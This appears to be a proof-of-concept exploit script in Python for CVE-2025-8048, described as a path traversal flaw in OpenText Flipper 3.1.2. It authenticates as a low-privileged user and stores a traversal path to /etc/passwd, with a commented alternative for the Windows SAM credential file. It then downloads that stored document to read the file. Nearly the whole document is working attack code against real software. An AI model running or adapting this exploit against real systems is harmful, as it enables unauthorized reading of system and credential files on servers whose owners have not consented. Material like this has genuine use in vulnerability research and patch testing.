CVE-2025-8048

# CVE-2025-8048 - OpenText Flipper Path Traversal PoC # This PoC demonstrates the path traversal vulnerability in OpenText Flipper 3.1.2 # The vulnerability allows a low-privileged user to read arbitrary files from the system import requests TARGET_URL = "https://target-flipper-server.com" USERNAME = "attacker_user" PASSWORD = "attacker_password" # Step 1: Authenticate with low-privileged credentials session = requests.Session() login_payload = { "username": USERNAME, "password": PASSWORD } session.post(f"{TARGET_URL}/api/login", data=login_payload) # Step 2: Submit a malicious file path (path traversal payload) # The path traversal sequence allows reading files outside the intended directory malicious_path = "../../../../etc/passwd" # Linux target # malicious_path = "..\\..\\..\\..\\Windows\\System32\\config\\SAM" # Windows target submit_payload = { "file_path": malicious_path, "description": "legitimate document" } response = session.post(f"{TARGET_URL}/api/documents/submit", json=submit_payload) document_id = response.json().get("document_id") print(f"[+] Stored malicious path with document ID: {document_id}") # Step 3: Request the stored document ID to trigger file download download_response = session.get(f"{TARGET_URL}/api/documents/{document_id}/download") if download_response.status_code == 200: print(f"[+] Successfully retrieved file contents:") print(download_response.text) else: print(f"[-] Failed to retrieve file. Status code: {download_response.status_code}")

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